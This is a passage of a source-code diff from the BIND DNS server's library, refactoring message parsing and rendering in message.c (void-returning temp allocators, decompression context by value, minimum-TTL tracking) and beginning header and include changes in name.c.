 	for (count = 0; count < msg->counts[DNS_SECTION_QUESTION]; count++) {
 		name = NULL;
-		result = dns_message_gettempname(msg, &name);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
+		dns_message_gettempname(msg, &name);
 		name->offsets = (unsigned char *)newoffsets(msg);
 		free_name = true;
 
@@ -1076,10 +1070,6 @@ getquestions(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
 			goto cleanup;
 		}
 		rdataset = isc_mempool_get(msg->rdspool);
-		if (rdataset == NULL) {
-			result = ISC_R_NOMEMORY;
-			goto cleanup;
-		}
 
 		/*
 		 * Convert rdatalist to rdataset, and attach the latter to
@@ -1089,10 +1079,7 @@ getquestions(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
 		rdatalist->rdclass = rdclass;
 
 		dns_rdataset_init(rdataset);
-		result = dns_rdatalist_tordataset(rdatalist, rdataset);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
+		dns_rdatalist_tordataset(rdatalist, rdataset);
 
 		rdataset->attributes |= DNS_RDATASETATTR_QUESTION;
 
@@ -1186,7 +1173,7 @@ auth_signed(dns_namelist_t *section) {
 }
 
 static isc_result_t
-getsection(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
+getsection(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t dctx,
 	   dns_section_t sectionid, unsigned int options) {
 	isc_region_t r;
 	unsigned int count, rdatalen;
@@ -1217,10 +1204,7 @@ getsection(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
 		istsig = false;
 
 		name = NULL;
-		result = dns_message_gettempname(msg, &name);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup;
-		}
+		dns_message_gettempname(msg, &name);
 		name->offsets = (unsigned char *)newoffsets(msg);
 		free_name = true;
 
@@ -1338,7 +1322,8 @@ getsection(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
 				tkeysection = DNS_SECTION_ANSWER;
 			}
 			if (sectionid != tkeysection &&
-			    sectionid != DNS_SECTION_ANSWER) {
+			    sectionid != DNS_SECTION_ANSWER)
+			{
 				DO_ERROR(DNS_R_FORMERR);
 			}
 		}
@@ -1366,7 +1351,8 @@ getsection(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
 			goto cleanup;
 		}
 		if (msg->opcode == dns_opcode_update &&
-		    update(sectionid, rdclass)) {
+		    update(sectionid, rdclass))
+		{
 			if (rdatalen != 0) {
 				result = DNS_R_FORMERR;
 				goto cleanup;
@@ -1404,7 +1390,8 @@ getsection(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
 				DO_ERROR(DNS_R_FORMERR);
 			}
 		} else if (rdtype == dns_rdatatype_sig /* SIG(0) */ &&
-			   rdata->flags == 0) {
+			   rdata->flags == 0)
+		{
 			covers = dns_rdata_covers(rdata);
 			if (covers == 0) {
 				if (sectionid != DNS_SECTION_ADDITIONAL ||
@@ -1419,7 +1406,8 @@ getsection(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
 				}
 			} else {
 				if (msg->rdclass != dns_rdataclass_any &&
-				    msg->rdclass != rdclass) {
+				    msg->rdclass != rdclass)
+				{
 					DO_ERROR(DNS_R_FORMERR);
 				}
 			}
@@ -1443,7 +1431,8 @@ getsection(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
 		 * to the end of the message.
 		 */
 		if (preserve_order || msg->opcode == dns_opcode_update ||
-		    skip_name_search) {
+		    skip_name_search)
+		{
 			if (!isedns && !istsig && !issigzero) {
 				ISC_LIST_APPEND(*section, name, link);
 				free_name = false;
@@ -1474,7 +1463,8 @@ getsection(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
 		 * Skip this stage if in update mode or this is a meta-type.
 		 */
 		if (preserve_order || msg->opcode == dns_opcode_update ||
-		    skip_type_search) {
+		    skip_type_search)
+		{
 			result = ISC_R_NOTFOUND;
 		} else {
 			/*
@@ -1516,10 +1506,6 @@ getsection(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
 
 		if (result == ISC_R_NOTFOUND) {
 			rdataset = isc_mempool_get(msg->rdspool);
-			if (rdataset == NULL) {
-				result = ISC_R_NOMEMORY;
-				goto cleanup;
-			}
 			free_rdataset = true;
 
 			rdatalist = newrdatalist(msg);
@@ -1534,9 +1520,7 @@ getsection(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
 			rdatalist->ttl = ttl;
 
 			dns_rdataset_init(rdataset);
-			RUNTIME_CHECK(
-				dns_rdatalist_tordataset(rdatalist, rdataset) ==
-				ISC_R_SUCCESS);
+			dns_rdatalist_tordataset(rdatalist, rdataset);
 			dns_rdataset_setownercase(rdataset, name);
 
 			if (!isedns && !istsig && !issigzero) {
@@ -1578,9 +1562,9 @@ getsection(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
 			msg->opt = rdataset;
 			rdataset = NULL;
 			free_rdataset = false;
-			ercode = (dns_rcode_t)(
-				(msg->opt->ttl & DNS_MESSAGE_EDNSRCODE_MASK) >>
-				20);
+			ercode = (dns_rcode_t)((msg->opt->ttl &
+						DNS_MESSAGE_EDNSRCODE_MASK) >>
+					       20);
 			msg->rcode |= ercode;
 			dns_message_puttempname(msg, &name);
 			free_name = false;
@@ -1598,7 +1582,7 @@ getsection(isc_buffer_t *source, dns_message_t *msg, dns_decompress_t *dctx,
 			/*
 			 * Windows doesn't like TSIG names to be compressed.
 			 */
-			msg->tsigname->attributes |= DNS_NAMEATTR_NOCOMPRESS;
+			msg->tsigname->attributes.nocompress = true;
 			rdataset = NULL;
 			free_rdataset = false;
 			free_name = false;
@@ -1699,14 +1683,9 @@ dns_message_parse(dns_message_t *msg, isc_buffer_t *source,
 	msg->header_ok = 1;
 	msg->state = DNS_SECTION_QUESTION;
 
-	/*
-	 * -1 means no EDNS.
-	 */
-	dns_decompress_init(&dctx, -1, DNS_DECOMPRESS_ANY);
-
-	dns_decompress_setmethods(&dctx, DNS_COMPRESS_GLOBAL14);
+	dctx = DNS_DECOMPRESS_ALWAYS;
 
-	ret = getquestions(source, msg, &dctx, options);
+	ret = getquestions(source, msg, dctx, options);
 	if (ret == ISC_R_UNEXPECTEDEND && ignore_tc) {
 		goto truncated;
 	}
@@ -1719,7 +1698,7 @@ dns_message_parse(dns_message_t *msg, isc_buffer_t *source,
 	}
 	msg->question_ok = 1;
 
-	ret = getsection(source, msg, &dctx, DNS_SECTION_ANSWER, options);
+	ret = getsection(source, msg, dctx, DNS_SECTION_ANSWER, options);
 	if (ret == ISC_R_UNEXPECTEDEND && ignore_tc) {
 		goto truncated;
 	}
@@ -1731,7 +1710,7 @@ dns_message_parse(dns_message_t *msg, isc_buffer_t *source,
 		return (ret);
 	}
 
-	ret = getsection(source, msg, &dctx, DNS_SECTION_AUTHORITY, options);
+	ret = getsection(source, msg, dctx, DNS_SECTION_AUTHORITY, options);
 	if (ret == ISC_R_UNEXPECTEDEND && ignore_tc) {
 		goto truncated;
 	}
@@ -1743,7 +1722,7 @@ dns_message_parse(dns_message_t *msg, isc_buffer_t *source,
 		return (ret);
 	}
 
-	ret = getsection(source, msg, &dctx, DNS_SECTION_ADDITIONAL, options);
+	ret = getsection(source, msg, dctx, DNS_SECTION_ADDITIONAL, options);
 	if (ret == ISC_R_UNEXPECTEDEND && ignore_tc) {
 		goto truncated;
 	}
@@ -1869,7 +1848,7 @@ dns_message_renderreserve(dns_message_t *msg, unsigned int space) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline bool
+static bool
 wrong_priority(dns_rdataset_t *rds, int pass, dns_rdatatype_t preferred_glue) {
 	int pass_needed;
 
@@ -1936,6 +1915,18 @@ maybe_clear_ad(dns_message_t *msg, dns_section_t sectionid) {
 	}
 }
 
+static void
+update_min_section_ttl(dns_message_t *restrict msg,
+		       const dns_section_t sectionid,
+		       dns_rdataset_t *restrict rdataset) {
+	if (!msg->minttl[sectionid].is_set ||
+	    rdataset->ttl < msg->minttl[sectionid].ttl)
+	{
+		msg->minttl[sectionid].is_set = true;
+		msg->minttl[sectionid].ttl = rdataset->ttl;
+	}
+}
+
 isc_result_t
 dns_message_rendersection(dns_message_t *msg, dns_section_t sectionid,
 			  unsigned int options) {
@@ -2027,14 +2018,15 @@ dns_message_rendersection(dns_message_t *msg, dns_section_t sectionid,
 				msg->flags |= DNS_MESSAGEFLAG_TC;
 			}
 			if (result != ISC_R_SUCCESS) {
-				INSIST(st.used < 65536);
-				dns_compress_rollback(msg->cctx,
-						      (uint16_t)st.used);
+				dns_compress_rollback(msg->cctx, st.used);
 				*(msg->buffer) = st; /* rollback */
 				msg->buffer->length += msg->reserved;
 				msg->counts[sectionid] += total;
 				return (result);
 			}
+
+			update_min_section_ttl(msg, sectionid, rdataset);
+
 			rdataset->attributes |= DNS_RDATASETATTR_RENDERED;
 		}
 	}
@@ -2055,7 +2047,8 @@ dns_message_rendersection(dns_message_t *msg, dns_section_t sectionid,
 				next_rdataset = ISC_LIST_NEXT(rdataset, link);
 
 				if ((rdataset->attributes &
-				     DNS_RDATASETATTR_RENDERED) != 0) {
+				     DNS_RDATASETATTR_RENDERED) != 0)
+				{
 					goto next;
 				}
 
@@ -2130,6 +2123,9 @@ dns_message_rendersection(dns_message_t *msg, dns_section_t sectionid,
 					msg->flags &= ~DNS_MESSAGEFLAG_AD;
 				}
 
+				update_min_section_ttl(msg, sectionid,
+						       rdataset);
+
 				rdataset->attributes |=
 					DNS_RDATASETATTR_RENDERED;
 
@@ -2260,7 +2256,8 @@ dns_message_renderend(dns_message_t *msg) {
 
 		/* Check PAD */
 		if ((cp[-4] != 0) || (cp[-3] != DNS_OPT_PAD) || (cp[-2] != 0) ||
-		    (cp[-1] != 0)) {
+		    (cp[-1] != 0))
+		{
 			return (ISC_R_UNEXPECTED);
 		}
 
@@ -2448,7 +2445,7 @@ dns_message_findname(dns_message_t *msg, dns_section_t section,
 	 * to be filled in, that we can in fact fill it in.
 	 */
 	REQUIRE(msg != NULL);
-	REQUIRE(VALID_SECTION(section));
+	REQUIRE(VALID_NAMED_SECTION(section));
 	REQUIRE(target != NULL);
 	REQUIRE(name == NULL || *name == NULL);
 
@@ -2473,7 +2470,7 @@ dns_message_findname(dns_message_t *msg, dns_section_t section,
 	/*
 	 * And now look for the type.
 	 */
-	if (ISC_UNLIKELY(type == dns_rdatatype_any)) {
+	if (type == dns_rdatatype_any) {
 		return (ISC_R_SUCCESS);
 	}
 
@@ -2523,7 +2520,7 @@ dns_message_removename(dns_message_t *msg, dns_name_t *name,
 	ISC_LIST_UNLINK(msg->sections[section], name, link);
 }
 
-isc_result_t
+void
 dns_message_gettempname(dns_message_t *msg, dns_name_t **item) {
 	dns_fixedname_t *fn = NULL;
 
@@ -2531,52 +2528,32 @@ dns_message_gettempname(dns_message_t *msg, dns_name_t **item) {
 	REQUIRE(item != NULL && *item == NULL);
 
 	fn = isc_mempool_get(msg->namepool);
-	if (fn == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
 	*item = dns_fixedname_initname(fn);
-
-	return (ISC_R_SUCCESS);
 }
 
-isc_result_t
+void
 dns_message_gettemprdata(dns_message_t *msg, dns_rdata_t **item) {
 	REQUIRE(DNS_MESSAGE_VALID(msg));
 	REQUIRE(item != NULL && *item == NULL);
 
 	*item = newrdata(msg);
-	if (*item == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
-	return (ISC_R_SUCCESS);
 }
 
-isc_result_t
+void
 dns_message_gettemprdataset(dns_message_t *msg, dns_rdataset_t **item) {
 	REQUIRE(DNS_MESSAGE_VALID(msg));
 	REQUIRE(item != NULL && *item == NULL);
 
 	*item = isc_mempool_get(msg->rdspool);
-	if (*item == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	dns_rdataset_init(*item);
-	return (ISC_R_SUCCESS);
 }
 
-isc_result_t
+void
 dns_message_gettemprdatalist(dns_message_t *msg, dns_rdatalist_t **item) {
 	REQUIRE(DNS_MESSAGE_VALID(msg));
 	REQUIRE(item != NULL && *item == NULL);
 
 	*item = newrdatalist(msg);
-	if (*item == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
-	return (ISC_R_SUCCESS);
 }
 
 void
@@ -2656,12 +2633,8 @@ dns_message_peekheader(isc_buffer_t *source, dns_messageid_t *idp,
 	flags = isc_buffer_getuint16(&buffer);
 	flags &= DNS_MESSAGE_FLAG_MASK;
 
-	if (flagsp != NULL) {
-		*flagsp = flags;
-	}
-	if (idp != NULL) {
-		*idp = id;
-	}
+	SET_IF_NOT_NULL(flagsp, flags);
+	SET_IF_NOT_NULL(idp, id);
 
 	return (ISC_R_SUCCESS);
 }
@@ -2809,9 +2782,7 @@ dns_message_gettsig(dns_message_t *msg, const dns_name_t **owner) {
 	REQUIRE(DNS_MESSAGE_VALID(msg));
 	REQUIRE(owner == NULL || *owner == NULL);
 
-	if (owner != NULL) {
-		*owner = msg->tsigname;
-	}
+	SET_IF_NOT_NULL(owner, msg->tsigname);
 	return (msg->tsig);
 }
 
@@ -2860,35 +2831,25 @@ dns_message_gettsigkey(dns_message_t *msg) {
 	return (msg->tsigkey);
 }
 
-isc_result_t
+void
 dns_message_setquerytsig(dns_message_t *msg, isc_buffer_t *querytsig) {
 	dns_rdata_t *rdata = NULL;
 	dns_rdatalist_t *list = NULL;
 	dns_rdataset_t *set = NULL;
 	isc_buffer_t *buf = NULL;
 	isc_region_t r;
-	isc_result_t result;
 
 	REQUIRE(DNS_MESSAGE_VALID(msg));
 	REQUIRE(msg->querytsig == NULL);
 
 	if (querytsig == NULL) {
-		return (ISC_R_SUCCESS);
+		return;
 	}
 
-	result = dns_message_gettemprdata(msg, &rdata);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	dns_message_gettemprdata(msg, &rdata);
 
-	result = dns_message_gettemprdatalist(msg, &list);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-	result = dns_message_gettemprdataset(msg, &set);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	dns_message_gettemprdatalist(msg, &list);
+	dns_message_gettemprdataset(msg, &set);
 
 	isc_buffer_usedregion(querytsig, &r);
 	isc_buffer_allocate(msg->mctx, &buf, r.length);
@@ -2898,26 +2859,9 @@ dns_message_setquerytsig(dns_message_t *msg, isc_buffer_t *querytsig) {
 	dns_rdata_fromregion(rdata, dns_rdataclass_any, dns_rdatatype_tsig, &r);
 	dns_message_takebuffer(msg, &buf);
 	ISC_LIST_APPEND(list->rdata, rdata, link);
-	result = dns_rdatalist_tordataset(list, set);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	dns_rdatalist_tordataset(list, set);
 
 	msg->querytsig = set;
-
-	return (result);
-
-cleanup:
-	if (rdata != NULL) {
-		dns_message_puttemprdata(msg, &rdata);
-	}
-	if (list != NULL) {
-		dns_message_puttemprdatalist(msg, &list);
-	}
-	if (set != NULL) {
-		dns_message_puttemprdataset(msg, &set);
-	}
-	return (ISC_R_NOMEMORY);
 }
 
 isc_result_t
@@ -3101,7 +3045,8 @@ dns_message_signer(dns_message_t *msg, dns_name_t *signer) {
 		{
 			result = ISC_R_SUCCESS;
 		} else if ((!msg->verified_sig) ||
-			   (msg->tsigstatus != dns_rcode_noerror)) {
+			   (msg->tsigstatus != dns_rcode_noerror))
+		{
 			result = DNS_R_TSIGVERIFYFAILURE;
 		} else {
 			INSIST(tsig.error != dns_rcode_noerror);
@@ -3123,7 +3068,7 @@ dns_message_signer(dns_message_t *msg, dns_name_t *signer) {
 				if (result == ISC_R_SUCCESS) {
 					result = DNS_R_NOIDENTITY;
 				}
-				identity = &msg->tsigkey->name;
+				identity = msg->tsigkey->name;
 			}
 			dns_name_clone(identity, signer);
 		}
@@ -3223,14 +3168,15 @@ dns_message_checksig(dns_message_t *msg, dns_view_t *view) {
 			return (ISC_R_UNEXPECTEDEND);
 		}
 
-		result = dns_rdata_tostruct(&rdata, &sig, msg->mctx);
+		result = dns_rdata_tostruct(&rdata, &sig, NULL);
 		if (result != ISC_R_SUCCESS) {
 			return (result);
 		}
 
 		dns_rdataset_init(&keyset);
 		if (view == NULL) {
-			return (DNS_R_KEYUNAUTHORIZED);
+			result = DNS_R_KEYUNAUTHORIZED;
+			goto freesig;
 		}
 		result = dns_view_simplefind(view, &sig.signer,
 					     dns_rdatatype_key /* SIG(0) */, 0,
@@ -3248,7 +3194,8 @@ dns_message_checksig(dns_message_t *msg, dns_view_t *view) {
 		result = dns_rdataset_first(&keyset);
 		INSIST(result == ISC_R_SUCCESS);
 		for (; result == ISC_R_SUCCESS;
-		     result = dns_rdataset_next(&keyset)) {
+		     result = dns_rdataset_next(&keyset))
+		{
 			dst_key_t *key = NULL;
 
 			dns_rdata_reset(&rdata);
@@ -3313,7 +3260,7 @@ dns_message_sectiontotext(dns_message_t *msg, dns_section_t section,
 
 	REQUIRE(DNS_MESSAGE_VALID(msg));
 	REQUIRE(target != NULL);
-	REQUIRE(VALID_SECTION(section));
+	REQUIRE(VALID_NAMED_SECTION(section));
 
 	saved_count = msg->indent.count;
 
@@ -3356,13 +3303,15 @@ dns_message_sectiontotext(dns_message_t *msg, dns_section_t section,
 		     rdataset = ISC_LIST_NEXT(rdataset, link))
 		{
 			if (section == DNS_SECTION_ANSWER &&
-			    rdataset->type == dns_rdatatype_soa) {
+			    rdataset->type == dns_rdatatype_soa)
+			{
 				if ((flags & DNS_MESSAGETEXTFLAG_OMITSOA) != 0)
 				{
 					continue;
 				}
 				if (seensoa &&
-				    (flags & DNS_MESSAGETEXTFLAG_ONESOA) != 0) {
+				    (flags & DNS_MESSAGETEXTFLAG_ONESOA) != 0)
+				{
 					continue;
 				}
 				seensoa = true;
@@ -3529,7 +3478,7 @@ dns_message_pseudosectiontoyaml(dns_message_t *msg, dns_pseudosection_t section,
 
 	REQUIRE(DNS_MESSAGE_VALID(msg));
 	REQUIRE(target != NULL);
-	REQUIRE(VALID_PSEUDOSECTION(section));
+	REQUIRE(VALID_NAMED_PSEUDOSECTION(section));
 
 	saved_count = msg->indent.count;
 
@@ -3821,7 +3770,8 @@ dns_message_pseudosectiontoyaml(dns_message_t *msg, dns_pseudosection_t section,
 				}
 				for (i = 0; i < optlen; i++) {
 					if (isprint(optdata[i]) ||
-					    (utf8ok && optdata[i] > 127)) {
+					    (utf8ok && optdata[i] > 127))
+					{
 						isc_buffer_putmem(
 							target, &optdata[i], 1);
 					} else {
@@ -3893,7 +3843,7 @@ dns_message_pseudosectiontotext(dns_message_t *msg, dns_pseudosection_t section,
 
 	REQUIRE(DNS_MESSAGE_VALID(msg));
 	REQUIRE(target != NULL);
-	REQUIRE(VALID_PSEUDOSECTION(section));
+	REQUIRE(VALID_NAMED_PSEUDOSECTION(section));
 
 	if ((dns_master_styleflags(style) & DNS_STYLEFLAG_YAML) != 0) {
 		return (dns_message_pseudosectiontoyaml(msg, section, style,
@@ -4177,7 +4127,8 @@ dns_message_pseudosectiontotext(dns_message_t *msg, dns_pseudosection_t section,
 				}
 				for (i = 0; i < optlen; i++) {
 					if (isprint(optdata[i]) ||
-					    (utf8ok && optdata[i] > 127)) {
+					    (utf8ok && optdata[i] > 127))
+					{
 						isc_buffer_putmem(
 							target, &optdata[i], 1);
 					} else {
@@ -4299,6 +4250,7 @@ dns_message_headertotext(dns_message_t *msg, const dns_master_style_t *style,
 			INDENT(style);
 			ADD_STRING(target, "QUESTION: ");
 		} else {
+			INDENT(style);
 			ADD_STRING(target, "ZONE: ");
 		}
 		snprintf(buf, sizeof(buf), "%1u",
@@ -4475,15 +4427,19 @@ dns_message_getrawmessage(dns_message_t *msg) {
 
 void
 dns_message_setsortorder(dns_message_t *msg, dns_rdatasetorderfunc_t order,
-			 dns_aclenv_t *env, const dns_acl_t *acl,
+			 dns_aclenv_t *env, dns_acl_t *acl,
 			 const dns_aclelement_t *elem) {
 	REQUIRE(DNS_MESSAGE_VALID(msg));
 	REQUIRE((order == NULL) == (env == NULL));
 	REQUIRE(env == NULL || (acl != NULL || elem != NULL));
 
 	msg->order = order;
-	msg->order_arg.env = env;
-	msg->order_arg.acl = acl;
+	if (env != NULL) {
+		dns_aclenv_attach(env, &msg->order_arg.env);
+	}
+	if (acl != NULL) {
+		dns_acl_attach(acl, &msg->order_arg.acl);
+	}
 	msg->order_arg.element = elem;
 }
 
@@ -4594,18 +4550,9 @@ dns_message_buildopt(dns_message_t *message, dns_rdataset_t **rdatasetp,
 	REQUIRE(DNS_MESSAGE_VALID(message));
 	REQUIRE(rdatasetp != NULL && *rdatasetp == NULL);
 
-	result = dns_message_gettemprdatalist(message, &rdatalist);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-	result = dns_message_gettemprdata(message, &rdata);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
-	result = dns_message_gettemprdataset(message, &rdataset);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	dns_message_gettemprdatalist(message, &rdatalist);
+	dns_message_gettemprdata(message, &rdata);
+	dns_message_gettemprdataset(message, &rdataset);
 
 	rdatalist->type = dns_rdatatype_opt;
 
@@ -4639,7 +4586,8 @@ dns_message_buildopt(dns_message_t *message, dns_rdataset_t **rdatasetp,
 
 		for (i = 0; i < count; i++) {
 			if (ednsopts[i].code == DNS_OPT_PAD &&
-			    ednsopts[i].length == 0U && !seenpad) {
+			    ednsopts[i].length == 0U && !seenpad)
+			{
 				seenpad = true;
 				continue;
 			}
@@ -4672,22 +4620,15 @@ dns_message_buildopt(dns_message_t *message, dns_rdataset_t **rdatasetp,
 	rdata->flags = 0;
 
 	ISC_LIST_APPEND(rdatalist->rdata, rdata, link);
-	result = dns_rdatalist_tordataset(rdatalist, rdataset);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	dns_rdatalist_tordataset(rdatalist, rdataset);
 
 	*rdatasetp = rdataset;
 	return (ISC_R_SUCCESS);
 
 cleanup:
-	if (rdata != NULL) {
-		dns_message_puttemprdata(message, &rdata);
-	}
-	if (rdataset != NULL) {
-		dns_message_puttemprdataset(message, &rdataset);
-	}
-	if (rdatalist != NULL) {
-		dns_message_puttemprdatalist(message, &rdatalist);
-	}
+	dns_message_puttemprdata(message, &rdata);
+	dns_message_puttemprdataset(message, &rdataset);
+	dns_message_puttemprdatalist(message, &rdatalist);
 	return (result);
 }
 
@@ -4730,3 +4671,109 @@ dns_message_clonebuffer(dns_message_t *msg) {
 		msg->free_query = 1;
 	}
 }
+
+static isc_result_t
+message_authority_soa_min(dns_message_t *msg, dns_ttl_t *pttl) {
+	isc_result_t result;
+	dns_rdataset_t *rdataset = NULL;
+	dns_name_t *name = NULL;
+
+	if (msg->counts[DNS_SECTION_AUTHORITY] == 0) {
+		return (ISC_R_NOTFOUND);
+	}
+
+	for (result = dns_message_firstname(msg, DNS_SECTION_AUTHORITY);
+	     result == ISC_R_SUCCESS;
+	     result = dns_message_nextname(msg, DNS_SECTION_AUTHORITY))
+	{
+		name = NULL;
+		dns_message_currentname(msg, DNS_SECTION_AUTHORITY, &name);
+		for (rdataset = ISC_LIST_HEAD(name->list); rdataset != NULL;
+		     rdataset = ISC_LIST_NEXT(rdataset, link))
+		{
+			isc_result_t tresult;
+
+			if ((rdataset->attributes &
+			     DNS_RDATASETATTR_RENDERED) == 0)
+			{
+				continue;
+			}
+
+			/* loop over the rdatas */
+			for (tresult = dns_rdataset_first(rdataset);
+			     tresult == ISC_R_SUCCESS;
+			     tresult = dns_rdataset_next(rdataset))
+			{
+				dns_name_t tmp;
+				isc_region_t r = { 0 };
+				dns_rdata_t rdata = DNS_RDATA_INIT;
+
+				dns_rdataset_current(rdataset, &rdata);
+
+				switch (rdata.type) {
+				case dns_rdatatype_soa:
+					/* SOA rdataset */
+					break;
+				case dns_rdatatype_none:
+					/*
+					 * Negative cache rdataset: we need
+					 * to inspect the rdata to determine
+					 * whether it's an SOA.
+					 */
+					dns_rdata_toregion(&rdata, &r);
+					dns_name_init(&tmp, NULL);
+					dns_name_fromregion(&tmp, &r);
+					isc_region_consume(&r, tmp.length);
+					if (r.length < 2) {
+						continue;
+					}
+					rdata.type = r.base[0] << 8 | r.base[1];
+					if (rdata.type != dns_rdatatype_soa) {
+						continue;
+					}
+					break;
+				default:
+					continue;
+				}
+
+				if (rdata.type == dns_rdatatype_soa) {
+					*pttl = ISC_MIN(
+						rdataset->ttl,
+						dns_soa_getminimum(&rdata));
+					return (ISC_R_SUCCESS);
+				}
+			}
+		}
+	}
+
+	return (ISC_R_NOTFOUND);
+}
+
+isc_result_t
+dns_message_minttl(dns_message_t *msg, const dns_section_t sectionid,
+		   dns_ttl_t *pttl) {
+	REQUIRE(DNS_MESSAGE_VALID(msg));
+	REQUIRE(pttl != NULL);
+
+	if (!msg->minttl[sectionid].is_set) {
+		return (ISC_R_NOTFOUND);
+	}
+
+	*pttl = msg->minttl[sectionid].ttl;
+	return (ISC_R_SUCCESS);
+}
+
+isc_result_t
+dns_message_response_minttl(dns_message_t *msg, dns_ttl_t *pttl) {
+	isc_result_t result;
+
+	REQUIRE(DNS_MESSAGE_VALID(msg));
+	REQUIRE(pttl != NULL);
+
+	result = dns_message_minttl(msg, DNS_SECTION_ANSWER, pttl);
+	if (result != ISC_R_SUCCESS) {
+		return (message_authority_soa_min(msg, pttl));
+	}
+
+	return (ISC_R_SUCCESS);
+}
diff --git a/lib/dns/name.c b/lib/dns/name.c
index 8400bcb20a..318b80b7dc 100644
--- a/lib/dns/name.c
+++ b/lib/dns/name.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,12 +18,14 @@
 #include <stdbool.h>
 #include <stdlib.h>
 
+#include <isc/ascii.h>
 #include <isc/buffer.h>
 #include <isc/hash.h>
+#include <isc/hex.h>
 #include <isc/mem.h>
 #include <isc/once.h>
-#include <isc/print.h>
 #include <isc/random.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/thread.h>
 #include <isc/util.h>
@@ -29,7 +33,6 @@
 #include <dns/compress.h>
 #include <dns/fixedname.h>
 #include <dns/name.h>
-#include <dns/result.h>
 
 #define VALID_NAME(n) ISC_MAGIC_VALID(n, DNS_NAME_MAGIC)
 
@@ -43,55 +46,6 @@ typedef enum {
 	ft_at
 } ft_state;
 
-typedef enum { fw_start = 0, fw_ordinary, fw_newcurrent } fw_state;
-
-static char digitvalue[256] = {
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /*16*/
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /*32*/
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /*48*/
-	0,  1,	2,  3,	4,  5,	6,  7,	8,  9,	-1, -1, -1, -1, -1, -1, /*64*/
-	-1, 10, 11, 12, 13, 14, 15, -1, -1, -1, -1, -1, -1, -1, -1, -1, /*80*/
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /*96*/
-	-1, 10, 11, 12, 13, 14, 15, -1, -1, -1, -1, -1, -1, -1, -1, -1, /*112*/
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /*128*/
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-	-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, /*256*/
-};
-
-static unsigned char maptolower[] = {
-	0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b,
-	0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
-	0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23,
-	0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
-	0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b,
-	0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
-	0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73,
-	0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
-	0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b,
